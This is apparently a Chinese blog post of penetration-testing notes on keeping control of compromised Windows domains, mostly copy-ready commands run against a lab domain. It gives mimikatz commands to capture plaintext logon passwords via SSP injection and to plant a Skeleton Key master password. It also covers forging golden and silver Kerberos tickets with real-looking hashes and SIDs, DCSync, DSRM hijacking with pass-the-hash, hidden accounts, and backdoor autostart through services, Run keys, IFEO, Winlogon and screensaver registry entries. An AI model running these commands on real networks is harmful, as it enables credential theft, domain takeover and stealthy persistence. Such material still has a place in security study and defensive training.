总结:

域内

SSP=>实现身份认证=>mimikatz/修改注册表 =>记录登录密码

修改密码劫持=>hookpasswordchange =>记录登录密码

Skeleton Key(万能钥匙)登录进程劫持

SID history-用户属性修改

DSRM-基于机制账号启用

基于软件上线=>(GotoHTTP/rustdesk)

黄金票据TGT=>krbtgt=>krbtgt ntlm hash & 白银票据ST=>单一用户单一服务 用户的ntlm hash

域外

隐藏用户=>软件CreateHiddenAccount

自启动=>路径加载/服务加载/注册表加载/计划任务

印象劫持=> 修改注册表 GlobalFlag隐藏

功能劫持=>wingon(登录时运行)|配合powershell 屏幕保护

域内

拿下域控->

DLL加载-SSP

SSP---Security Support Provider,直译为安全支持提供者,又名Security Package。简单的理解为SSP就是一个DLL,用来实现身份认证,并且维特系统权限

如果获得目标系统system权限,可以使用该方法进行持久化操作

其主要原理是:LSA(Loca1 Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LsA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获Lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码

下列两个互补 =>盗取密码

mimikatz
域机器mimikatz使用如下命令
privilege::debug
#提升权限
misc::memssp
#记录维权工作
注销/切换用户
C:\Windows\System32\mimilsa.log 记录登录的账号密码
缺点:重启后会失效,被注入内存的伪造的SSP将会丢失。
修改注册表
使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll传到目标域控的c:windows\system32\(
mimilib.dll文件为猕猴桃自带
2、修改注册表,重启生效(regedit)
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"	#查看值

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ	 #修改值
重启计算机
c:\windows\system32\kiwissp.log记录账号密码文件
缺点:重启后不会失效。但生效前提需要重启才能生效

将log文件存放在web端=>访问可得/

DLL加载-修改密码劫持

拦截密码修改功能=>保存修改密码=>再进行修改

https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking

HookPasswordChange

管理员身份运行
./HookPasswordChangeNotify.ps1
修改的密码会保存在C:\Windows\Temp

Skeleton Key-登录进程劫持

Skeleton Key万能钥匙
即给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始:密码也可以使用,其原理就是对lsass.exe(用于本地安全认证服务器)进行注入,所以重启后会效,不需要重启
将skeleton Key安装在域控削器上,便能够能够让所有域用户使用同个万能密码对域控进行登录,现有的所有域用户使用原密码仍能继续登录,注意万能密码并不能更改用户权限,

重启将失效.

适用条件	(拿下域控	某个用户与域控通讯dir \\owa2010cn-god\c$-拒绝访问)
域控(mimikatz操作):
privilege::debug
misc::skeleton

其余用户使用万能密码登录
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$

SID history-用户属性修改

wmic  useraccount get	查看域用户sid情况

powershell下运行
Import-Module ActiveDirectory

Get-ADUser 域用户用户名 -Properties sidhistory
如:Get-ADUser webadmin -Properties sidhistory

privilege::debug
sid::patch
sid::add /sam:域用户用户名 /new:administrator
如: sid::add /sam:webadmin /new:administrator

DSRM-基于机制账号启用

DSRM(Diretcory Service Restore Mode,目录服务恢复模式)
是windows域环境中域控制器的安全模式启动选项。
域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。
DSRM的用途是:允许管理员在域环境出现故障时还原、修复重建活动目录数据库。通过在Dc上运行ntdsutl工具可以修改DSRM密码。
在域控中,DSRM账号可视为域控的本地管理员账号
在DSRM账号可以登录域控的前提下,如果我们获得了域控的权限,在域控上cmd进入ntdsutil,将DSRM账号的密码进行修改(常同步为krbtgt的NTLM hash),之后在域内任何一台主机(包括域控本身)上通过修改后的hash,进行PTT实现远程访问控制
krbtgt管理用户登录=>相当于检票员
域控操作:
mimikatz运行:
获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt   =>获取hash(ntlm):b097d7ed97495408e1537f706c357fc5
token::elevate
lsadump::sam

cmd:
NTDSUTIL    				#打开ntdsutil
set DSRM password    		#修改DSRM的密码
sync from domain account (krbtgt)	#域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次)						#退出DSRM密码设置模式
q(第2次)						#退出ntdsutil

修改dsrm登录方式
powershell:
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

其他域内主机
利用PTH传递攻击
mimikatz运行:
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

基于软件上线

GotoHTTP
rustdesk
C:\Users\用户名\AppData Roaming\RustDesk\config

黄金&白银票据

dir \\owa2010cn-god\c$

krbtgt 密钥发行中心服务账户
黄金票据生成攻击,是生成有效的TGT Kerberos票据
并且不受TGT生命周期的影响(TGT默认10小时,最多续订7天)
这里可以为任意用户生成黄金票据
然后为域管理员生成TGT,这样普通用户就可以变成域管理员。
krbtgt(票据)==>黄金票据  时间不限,权限高

白银票据(SILVER TICKET)
是利用域的服务账户进行伪造的ST,
在Kerberos认证的第三步,
Client带着ST和Authenticator3向Server上的某个服务进行请求,
Server接收到Client的请求之后,通过自己的Master Key解密ST,
从而获得Session Key。所以只需要知道Server用户的Hash就可以伪造出一个sT,
且不会经过KDC,但是伪造的门票只对部分服务起作用(不需要交互KDC,需要知道Server的NTLM Hash)。



金票和银票的区别#
获取的权限不同#
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同#
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同#
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

黄金票据

前提:
已经拿下域管理员,获取到krbtgt	hash;
利用krbtgt的hash制作黄金票据,进行攻击

流程:
获取域名:
获取域的sid:		S-1-5-21-1218902331-2157346161-1782232778		whoami /user
whoami /all
wmic useraccount get name,sid

获取域的krbtgt账户的NTLM-HASH:	b097d7ed97495408e1537f706c357fc5
=>利用mimikatz:
privilege::debug
lsadump::lsa /patch

伪造用户名:任意域内已知用户名 	!!不需要提权直接运行
kerberos::golden /user:<用户名> /domain:<域> /sid:<域的SID值> /krbtgt:<KRBTGT账户HASH> /ticket:<票据名称(可随意)>
kerberos::golden /user:dbadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:haha

导入票据
mimikatz kerberos::ptt haha

白银票据

访问指定计算机的指定服务

文件分享cifs

前提:
已经拿下域管理员,获取到DC hash(owa2010cn-god );
利用DC的hash制作白银票据工具,进行攻击。

流程:
获取域名:		god.org
获取域的sid:		S-1-5-21-1218902331-2157346161-1782232778		whoami /user
whoami /all
wmic useraccount get name,sid

获取域DC账户NTLM-HASH	:51e952b4dcdaaac8abba9b79ad9e69e0
=>利用mimikatz:	
privilege::debug
sekurlsa::logonpasswords

伪造用户名:任意域内已知用户名 (不要提权)
mimikatz kerberos::golden /user:<任意用户名> /domain:<域名> /sid:<域的SID> /target:<目标计算机名全称> /service:cifs /rc4:<DC账户NTLM-HASH> /ptt			ST=>针对某个用户某个服务

kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god.god.org /service:cifs /rc4:51e952b4dcdaaac8abba9b79ad9e69e0 /ptt
文件分享cifs




dir \\owa2010cn-god\c$

白银到黄金票据升级(ldap服务开启)

kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god.god.org /service:ldap /rc4:51e952b4dcdaaac8abba9b79ad9e69e0 /ptt

(需要ldap服务才能抓取域控的krbtgt)
mimikatz lsadump::dcsync /dc:owa2010cn-god.god.org /domain:god.org /user:krbtgt		
获取krbtgt的哈希值	

kerberos::golden /user:dbadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:yiy
获取krbtgt票据	
导入mimikatz kerberos::ptt yiy
成功得到黄金票据

域外

隐藏用户

命令添加
net user user passwd /add	添加user用户
net user user$  /add	添加隐藏用户
net user user /del	删除用户

CreateHiddenAccount软件添加=>单机版无法删除,域环境可以删除
https://github.com/wgpsec/CreateHiddenAccount
CreateHiddenAccount_upx_v0.2.exe  -u 用户名 -p 密码 创建隐藏用户
CreateHiddenAccount_upx_v0.2.exe -c 查看隐藏用户
CreateHiddenAccount_upx_v0.2.exe -d 删除隐藏用户

自启动

自启动路径加载
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
如果存在自启动应用 =>打开文件位置 =>利用dll劫持
自启动服务加载
创建服务
sc create 服务名 binPath= 木马绝对路径  start= auto
sc create ServiceTest binPath= C:\shell.exe  start= auto
启动服务
sc start ServiceTest
删除服务
sc delete 服务名
可与不带引号不安全服务联用
自启动注册表加载
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "服务名" /t REG_SZ /F /D "绝对路径"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\shell.exe"
计划计时任务
AT命令等

印象劫持

强制替换执行

打开记事本会替换为打开计算器

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
将本是txt文件转换为计算机/木马
缺点:容易被发现
配合GlobalFlag隐藏

退出txt文件时会打开shell.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\shell.exe"

功能劫持

Winlogon

登录时运行 userinit.exe

本地文件执行	
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,C:\shell.exe"

无文件落地上线	
cs生成木马=>payload生成器(P)=>Powershell command
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,<powershell>"
屏幕保护上线

启动屏幕保护时上运行

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\shell.exe" /f

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注